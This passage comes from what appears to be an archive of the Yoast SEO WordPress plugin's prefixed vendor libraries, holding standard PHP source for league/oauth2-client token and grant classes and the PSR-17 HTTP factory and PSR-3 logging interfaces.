        $url = $this->getResourceOwnerDetailsUrl($token);
        $request = $this->getAuthenticatedRequest(self::METHOD_GET, $url, $token);
        $response = $this->getParsedResponse($request);
        if (\false === \is_array($response)) {
            throw new \UnexpectedValueException('Invalid response received from Authorization Server. Expected JSON.');
        }
        return $response;
    }
    /**
     * Returns the default headers used by this provider.
     *
     * Typically this is used to set 'Accept' or 'Content-Type' headers.
     *
     * @return array
     */
    protected function getDefaultHeaders()
    {
        return [];
    }
    /**
     * Returns the authorization headers used by this provider.
     *
     * Typically this is "Bearer" or "MAC". For more information see:
     * http://tools.ietf.org/html/rfc6749#section-7.1
     *
     * No default is provided, providers must overload this method to activate
     * authorization headers.
     *
     * @param  mixed|null $token Either a string or an access token instance
     * @return array
     */
    protected function getAuthorizationHeaders($token = null)
    {
        return [];
    }
    /**
     * Returns all headers used by this provider for a request.
     *
     * The request will be authenticated if an access token is provided.
     *
     * @param  mixed|null $token object or string
     * @return array
     */
    public function getHeaders($token = null)
    {
        if ($token) {
            return \array_merge($this->getDefaultHeaders(), $this->getAuthorizationHeaders($token));
        }
        return $this->getDefaultHeaders();
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Provider/GenericResourceOwner.php000064400000002750147510273100025660 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Provider;

/**
 * Represents a generic resource owner for use with the GenericProvider.
 */
class GenericResourceOwner implements \YoastSEO_Vendor\League\OAuth2\Client\Provider\ResourceOwnerInterface
{
    /**
     * @var array
     */
    protected $response;
    /**
     * @var string
     */
    protected $resourceOwnerId;
    /**
     * @param array $response
     * @param string $resourceOwnerId
     */
    public function __construct(array $response, $resourceOwnerId)
    {
        $this->response = $response;
        $this->resourceOwnerId = $resourceOwnerId;
    }
    /**
     * Returns the identifier of the authorized resource owner.
     *
     * @return mixed
     */
    public function getId()
    {
        return $this->response[$this->resourceOwnerId];
    }
    /**
     * Returns the raw resource owner response.
     *
     * @return array
     */
    public function toArray()
    {
        return $this->response;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Token/AccessTokenInterface.php000064400000003464147510273100025075 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Token;

use JsonSerializable;
use ReturnTypeWillChange;
use RuntimeException;
interface AccessTokenInterface extends \JsonSerializable
{
    /**
     * Returns the access token string of this instance.
     *
     * @return string
     */
    public function getToken();
    /**
     * Returns the refresh token, if defined.
     *
     * @return string|null
     */
    public function getRefreshToken();
    /**
     * Returns the expiration timestamp in seconds, if defined.
     *
     * @return integer|null
     */
    public function getExpires();
    /**
     * Checks if this token has expired.
     *
     * @return boolean true if the token has expired, false otherwise.
     * @throws RuntimeException if 'expires' is not set on the token.
     */
    public function hasExpired();
    /**
     * Returns additional vendor values stored in the token.
     *
     * @return array
     */
    public function getValues();
    /**
     * Returns a string representation of the access token
     *
     * @return string
     */
    public function __toString();
    /**
     * Returns an array of parameters to serialize when this is serialized with
     * json_encode().
     *
     * @return array
     */
    #[ReturnTypeWillChange]
    public function jsonSerialize();
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Token/AccessToken.php000064400000013576147510273100023261 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Token;

use InvalidArgumentException;
use RuntimeException;
/**
 * Represents an access token.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.4 Access Token (RFC 6749, §1.4)
 */
class AccessToken implements \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface, \YoastSEO_Vendor\League\OAuth2\Client\Token\ResourceOwnerAccessTokenInterface
{
    /**
     * @var string
     */
    protected $accessToken;
    /**
     * @var int
     */
    protected $expires;
    /**
     * @var string
     */
    protected $refreshToken;
    /**
     * @var string
     */
    protected $resourceOwnerId;
    /**
     * @var array
     */
    protected $values = [];
    /**
     * @var int
     */
    private static $timeNow;
    /**
     * Set the time now. This should only be used for testing purposes.
     *
     * @param int $timeNow the time in seconds since epoch
     * @return void
     */
    public static function setTimeNow($timeNow)
    {
        self::$timeNow = $timeNow;
    }
    /**
     * Reset the time now if it was set for test purposes.
     *
     * @return void
     */
    public static function resetTimeNow()
    {
        self::$timeNow = null;
    }
    /**
     * @return int
     */
    public function getTimeNow()
    {
        return self::$timeNow ? self::$timeNow : \time();
    }
    /**
     * Constructs an access token.
     *
     * @param array $options An array of options returned by the service provider
     *     in the access token request. The `access_token` option is required.
     * @throws InvalidArgumentException if `access_token` is not provided in `$options`.
     */
    public function __construct(array $options = [])
    {
        if (empty($options['access_token'])) {
            throw new \InvalidArgumentException('Required option not passed: "access_token"');
        }
        $this->accessToken = $options['access_token'];
        if (!empty($options['resource_owner_id'])) {
            $this->resourceOwnerId = $options['resource_owner_id'];
        }
        if (!empty($options['refresh_token'])) {
            $this->refreshToken = $options['refresh_token'];
        }
        // We need to know when the token expires. Show preference to
        // 'expires_in' since it is defined in RFC6749 Section 5.1.
        // Defer to 'expires' if it is provided instead.
        if (isset($options['expires_in'])) {
            if (!\is_numeric($options['expires_in'])) {
                throw new \InvalidArgumentException('expires_in value must be an integer');
            }
            $this->expires = $options['expires_in'] != 0 ? $this->getTimeNow() + $options['expires_in'] : 0;
        } elseif (!empty($options['expires'])) {
            // Some providers supply the seconds until expiration rather than
            // the exact timestamp. Take a best guess at which we received.
            $expires = $options['expires'];
            if (!$this->isExpirationTimestamp($expires)) {
                $expires += $this->getTimeNow();
            }
            $this->expires = $expires;
        }
        // Capture any additional values that might exist in the token but are
        // not part of the standard response. Vendors will sometimes pass
        // additional user data this way.
        $this->values = \array_diff_key($options, \array_flip(['access_token', 'resource_owner_id', 'refresh_token', 'expires_in', 'expires']));
    }
    /**
     * Check if a value is an expiration timestamp or second value.
     *
     * @param integer $value
     * @return bool
     */
    protected function isExpirationTimestamp($value)
    {
        // If the given value is larger than the original OAuth 2 draft date,
        // assume that it is meant to be a (possible expired) timestamp.
        $oauth2InceptionDate = 1349067600;
        // 2012-10-01
        return $value > $oauth2InceptionDate;
    }
    /**
     * @inheritdoc
     */
    public function getToken()
    {
        return $this->accessToken;
    }
    /**
     * @inheritdoc
     */
    public function getRefreshToken()
    {
        return $this->refreshToken;
    }
    /**
     * @inheritdoc
     */
    public function getExpires()
    {
        return $this->expires;
    }
    /**
     * @inheritdoc
     */
    public function getResourceOwnerId()
    {
        return $this->resourceOwnerId;
    }
    /**
     * @inheritdoc
     */
    public function hasExpired()
    {
        $expires = $this->getExpires();
        if (empty($expires)) {
            throw new \RuntimeException('"expires" is not set on the token');
        }
        return $expires < \time();
    }
    /**
     * @inheritdoc
     */
    public function getValues()
    {
        return $this->values;
    }
    /**
     * @inheritdoc
     */
    public function __toString()
    {
        return (string) $this->getToken();
    }
    /**
     * @inheritdoc
     */
    public function jsonSerialize()
    {
        $parameters = $this->values;
        if ($this->accessToken) {
            $parameters['access_token'] = $this->accessToken;
        }
        if ($this->refreshToken) {
            $parameters['refresh_token'] = $this->refreshToken;
        }
        if ($this->expires) {
            $parameters['expires'] = $this->expires;
        }
        if ($this->resourceOwnerId) {
            $parameters['resource_owner_id'] = $this->resourceOwnerId;
        }
        return $parameters;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Token/ResourceOwnerAccessTokenInterface.php000064400000001510147510273100027606 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Token;

interface ResourceOwnerAccessTokenInterface extends \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface
{
    /**
     * Returns the resource owner identifier, if defined.
     *
     * @return string|null
     */
    public function getResourceOwnerId();
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/AuthorizationCode.php000064400000002041147510273100024466 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

/**
 * Represents an authorization code grant.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.3.1 Authorization Code (RFC 6749, §1.3.1)
 */
class AuthorizationCode extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant
{
    /**
     * @inheritdoc
     */
    protected function getName()
    {
        return 'authorization_code';
    }
    /**
     * @inheritdoc
     */
    protected function getRequiredRequestParameters()
    {
        return ['code'];
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/ClientCredentials.php000064400000002032147510273100024427 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

/**
 * Represents a client credentials grant.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.3.4 Client Credentials (RFC 6749, §1.3.4)
 */
class ClientCredentials extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant
{
    /**
     * @inheritdoc
     */
    protected function getName()
    {
        return 'client_credentials';
    }
    /**
     * @inheritdoc
     */
    protected function getRequiredRequestParameters()
    {
        return [];
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/Exception/InvalidGrantException.php000064400000001444147510273100027240 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception;

use InvalidArgumentException;
/**
 * Exception thrown if the grant does not extend from AbstractGrant.
 *
 * @see League\OAuth2\Client\Grant\AbstractGrant
 */
class InvalidGrantException extends \InvalidArgumentException
{
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/AbstractGrant.php000064400000004676147510273100023612 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

use YoastSEO_Vendor\League\OAuth2\Client\Tool\RequiredParameterTrait;
/**
 * Represents a type of authorization grant.
 *
 * An authorization grant is a credential representing the resource
 * owner's authorization (to access its protected resources) used by the
 * client to obtain an access token.  OAuth 2.0 defines four
 * grant types -- authorization code, implicit, resource owner password
 * credentials, and client credentials -- as well as an extensibility
 * mechanism for defining additional types.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.3 Authorization Grant (RFC 6749, §1.3)
 */
abstract class AbstractGrant
{
    use RequiredParameterTrait;
    /**
     * Returns the name of this grant, eg. 'grant_name', which is used as the
     * grant type when encoding URL query parameters.
     *
     * @return string
     */
    protected abstract function getName();
    /**
     * Returns a list of all required request parameters.
     *
     * @return array
     */
    protected abstract function getRequiredRequestParameters();
    /**
     * Returns this grant's name as its string representation. This allows for
     * string interpolation when building URL query parameters.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->getName();
    }
    /**
     * Prepares an access token request's parameters by checking that all
     * required parameters are set, then merging with any given defaults.
     *
     * @param  array $defaults
     * @param  array $options
     * @return array
     */
    public function prepareRequestParameters(array $defaults, array $options)
    {
        $defaults['grant_type'] = $this->getName();
        $required = $this->getRequiredRequestParameters();
        $provided = \array_merge($defaults, $options);
        $this->checkRequiredParameters($required, $provided);
        return $provided;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/Password.php000064400000002077147510273100022646 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

/**
 * Represents a resource owner password credentials grant.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.3.3 Resource Owner Password Credentials (RFC 6749, §1.3.3)
 */
class Password extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant
{
    /**
     * @inheritdoc
     */
    protected function getName()
    {
        return 'password';
    }
    /**
     * @inheritdoc
     */
    protected function getRequiredRequestParameters()
    {
        return ['username', 'password'];
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/GrantFactory.php000064400000005364147510273100023451 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

use YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception\InvalidGrantException;
/**
 * Represents a factory used when retrieving an authorization grant type.
 */
class GrantFactory
{
    /**
     * @var array
     */
    protected $registry = [];
    /**
     * Defines a grant singleton in the registry.
     *
     * @param  string $name
     * @param  AbstractGrant $grant
     * @return self
     */
    public function setGrant($name, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant $grant)
    {
        $this->registry[$name] = $grant;
        return $this;
    }
    /**
     * Returns a grant singleton by name.
     *
     * If the grant has not be registered, a default grant will be loaded.
     *
     * @param  string $name
     * @return AbstractGrant
     */
    public function getGrant($name)
    {
        if (empty($this->registry[$name])) {
            $this->registerDefaultGrant($name);
        }
        return $this->registry[$name];
    }
    /**
     * Registers a default grant singleton by name.
     *
     * @param  string $name
     * @return self
     */
    protected function registerDefaultGrant($name)
    {
        // PascalCase the grant. E.g: 'authorization_code' becomes 'AuthorizationCode'
        $class = \str_replace(' ', '', \ucwords(\str_replace(['-', '_'], ' ', $name)));
        $class = 'YoastSEO_Vendor\\League\\OAuth2\\Client\\Grant\\' . $class;
        $this->checkGrant($class);
        return $this->setGrant($name, new $class());
    }
    /**
     * Determines if a variable is a valid grant.
     *
     * @param  mixed $class
     * @return boolean
     */
    public function isGrant($class)
    {
        return \is_subclass_of($class, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant::class);
    }
    /**
     * Checks if a variable is a valid grant.
     *
     * @throws InvalidGrantException
     * @param  mixed $class
     * @return void
     */
    public function checkGrant($class)
    {
        if (!$this->isGrant($class)) {
            throw new \YoastSEO_Vendor\League\OAuth2\Client\Grant\Exception\InvalidGrantException(\sprintf('Grant "%s" must extend AbstractGrant', \is_object($class) ? \get_class($class) : $class));
        }
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Grant/RefreshToken.php000064400000002032147510273100023432 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Grant;

/**
 * Represents a refresh token grant.
 *
 * @link http://tools.ietf.org/html/rfc6749#section-6 Refreshing an Access Token (RFC 6749, §6)
 */
class RefreshToken extends \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant
{
    /**
     * @inheritdoc
     */
    protected function getName()
    {
        return 'refresh_token';
    }
    /**
     * @inheritdoc
     */
    protected function getRequiredRequestParameters()
    {
        return ['refresh_token'];
    }
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/ResponseFactoryInterface.php000064400000001125147510273100024241 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface ResponseFactoryInterface
{
    /**
     * Create a new response.
     *
     * @param int $code HTTP status code; defaults to 200
     * @param string $reasonPhrase Reason phrase to associate with status code
     *     in generated response; if none is provided implementations MAY use
     *     the defaults as suggested in the HTTP specification.
     *
     * @return ResponseInterface
     */
    public function createResponse(int $code = 200, string $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/UploadedFileFactoryInterface.php000064400000002175147510273100025006 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface UploadedFileFactoryInterface
{
    /**
     * Create a new uploaded file.
     *
     * If a size is not provided it will be determined by checking the size of
     * the file.
     *
     * @see http://php.net/manual/features.file-upload.post-method.php
     * @see http://php.net/manual/features.file-upload.errors.php
     *
     * @param StreamInterface $stream Underlying stream representing the
     *     uploaded file content.
     * @param int $size in bytes
     * @param int $error PHP file upload error
     * @param string $clientFilename Filename as provided by the client, if any.
     * @param string $clientMediaType Media type as provided by the client, if any.
     *
     * @return UploadedFileInterface
     *
     * @throws \InvalidArgumentException If the file resource is not readable.
     */
    public function createUploadedFile(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $size = null, int $error = \UPLOAD_ERR_OK, string $clientFilename = null, string $clientMediaType = null) : \YoastSEO_Vendor\Psr\Http\Message\UploadedFileInterface;
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/RequestFactoryInterface.php000064400000001046147510273100024075 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface RequestFactoryInterface
{
    /**
     * Create a new request.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     *
     * @return RequestInterface
     */
    public function createRequest(string $method, $uri) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/StreamFactoryInterface.php000064400000003001147510273100023671 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface StreamFactoryInterface
{
    /**
     * Create a new stream from a string.
     *
     * The stream SHOULD be created with a temporary resource.
     *
     * @param string $content String content with which to populate the stream.
     *
     * @return StreamInterface
     */
    public function createStream(string $content = '') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
    /**
     * Create a stream from an existing file.
     *
     * The file MUST be opened using the given mode, which may be any mode
     * supported by the `fopen` function.
     *
     * The `$filename` MAY be any string supported by `fopen()`.
     *
     * @param string $filename Filename or stream URI to use as basis of stream.
     * @param string $mode Mode with which to open the underlying filename/stream.
     *
     * @return StreamInterface
     * @throws \RuntimeException If the file cannot be opened.
     * @throws \InvalidArgumentException If the mode is invalid.
     */
    public function createStreamFromFile(string $filename, string $mode = 'r') : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
    /**
     * Create a new stream from an existing resource.
     *
     * The stream MUST be readable and may be writable.
     *
     * @param resource $resource PHP resource to use as basis of stream.
     *
     * @return StreamInterface
     */
    public function createStreamFromResource($resource) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/UriFactoryInterface.php000064400000000570147510273100023205 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface UriFactoryInterface
{
    /**
     * Create a new URI.
     *
     * @param string $uri
     *
     * @return UriInterface
     *
     * @throws \InvalidArgumentException If the given URI cannot be parsed.
     */
    public function createUri(string $uri = '') : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
}
wordpress-seo/vendor_prefixed/psr/http-factory/src/ServerRequestFactoryInterface.php000064400000001722147510273100025265 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

interface ServerRequestFactoryInterface
{
    /**
     * Create a new server request.
     *
     * Note that server-params are taken precisely as given - no parsing/processing
     * of the given values is performed, and, in particular, no attempt is made to
     * determine the HTTP method or URI, which must be provided explicitly.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     * @param array $serverParams Array of SAPI parameters with which to seed
     *     the generated request instance.
     *
     * @return ServerRequestInterface
     */
    public function createServerRequest(string $method, $uri, array $serverParams = []) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerTrait.php000064400000007047147510273100020361 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * This is a simple Logger trait that classes unable to extend AbstractLogger
 * (because they extend another class, etc) can include.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
trait LoggerTrait
{
    /**
     * System is unusable.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function emergency($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::EMERGENCY, $message, $context);
    }
    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function alert($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ALERT, $message, $context);
    }
    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function critical($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::CRITICAL, $message, $context);
    }
    /**
     * Runtime errors that do not require immediate action but should typically
     * be logged and monitored.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function error($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ERROR, $message, $context);
    }
    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable things
     * that are not necessarily wrong.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function warning($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::WARNING, $message, $context);
    }
    /**
     * Normal but significant events.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function notice($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::NOTICE, $message, $context);
    }
    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function info($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::INFO, $message, $context);
    }
    /**
     * Detailed debug information.
     *
     * @param string $message
     * @param array  $context
     *
     * @return void
     */
    public function debug($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::DEBUG, $message, $context);
    }
    /**
     * Logs with an arbitrary level.
     *
     * @param mixed  $level
     * @param string $message
     * @param array  $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    public abstract function log($level, $message, array $context = array());
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LogLevel.php000064400000000511147510273100017634 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * Describes log levels.
 */
class LogLevel
{
    const EMERGENCY = 'emergency';
    const ALERT = 'alert';
    const CRITICAL = 'critical';
    const ERROR = 'error';
    const WARNING = 'warning';
    const NOTICE = 'notice';
    const INFO = 'info';
    const DEBUG = 'debug';
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/NullLogger.php000064400000001354147510273100020203 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * This Logger can be used to avoid conditional log calls.
 *
 * Logging should always be optional, and if no logger is provided to your
 * library creating a NullLogger instance to have something to throw logs at
 * is a good way to avoid littering your code with `if ($this->logger) { }`
 * blocks.
 */
class NullLogger extends \YoastSEO_Vendor\Psr\Log\AbstractLogger
{
    /**
     * Logs with an arbitrary level.
     *
     * @param mixed  $level
     * @param string $message
     * @param array  $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    public function log($level, $message, array $context = array())
    {
        // noop
    }
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerAwareTrait.php000064400000000672147510273100021336 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * Basic Implementation of LoggerAwareInterface.
 */
trait LoggerAwareTrait
{
    /**
     * The logger instance.
     *
     * @var LoggerInterface|null
     */
    protected $logger;
    /**
     * Sets a logger.
     *
     * @param LoggerInterface $logger
     */
    public function setLogger(\YoastSEO_Vendor\Psr\Log\LoggerInterface $logger)
    {
        $this->logger = $logger;
    }
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/InvalidArgumentException.php000064400000000160147510273100023073 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

class InvalidArgumentException extends \InvalidArgumentException
{
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerInterface.php000064400000006062147510273100021172 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * Describes a logger instance.
 *
 * The message MUST be a string or object implementing __toString().
 *
 * The message MAY contain placeholders in the form: {foo} where foo
 * will be replaced by the context data in key "foo".
 *
 * The context array can contain arbitrary data. The only assumption that
 * can be made by implementors is that if an Exception instance is given
 * to produce a stack trace, it MUST be in a key named "exception".
 *
 * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
 * for the full interface specification.
 */
interface LoggerInterface
{
    /**
     * System is unusable.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function emergency($message, array $context = array());
    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function alert($message, array $context = array());
    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function critical($message, array $context = array());
    /**
     * Runtime errors that do not require immediate action but should typically
     * be logged and monitored.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function error($message, array $context = array());
    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable things
     * that are not necessarily wrong.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function warning($message, array $context = array());
    /**
     * Normal but significant events.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function notice($message, array $context = array());
    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function info($message, array $context = array());
    /**
     * Detailed debug information.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function debug($message, array $context = array());
    /**
     * Logs with an arbitrary level.
     *
     * @param mixed   $level
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     *
     * @throws \Psr\Log\InvalidArgumentException
     */
    public function log($level, $message, array $context = array());
}
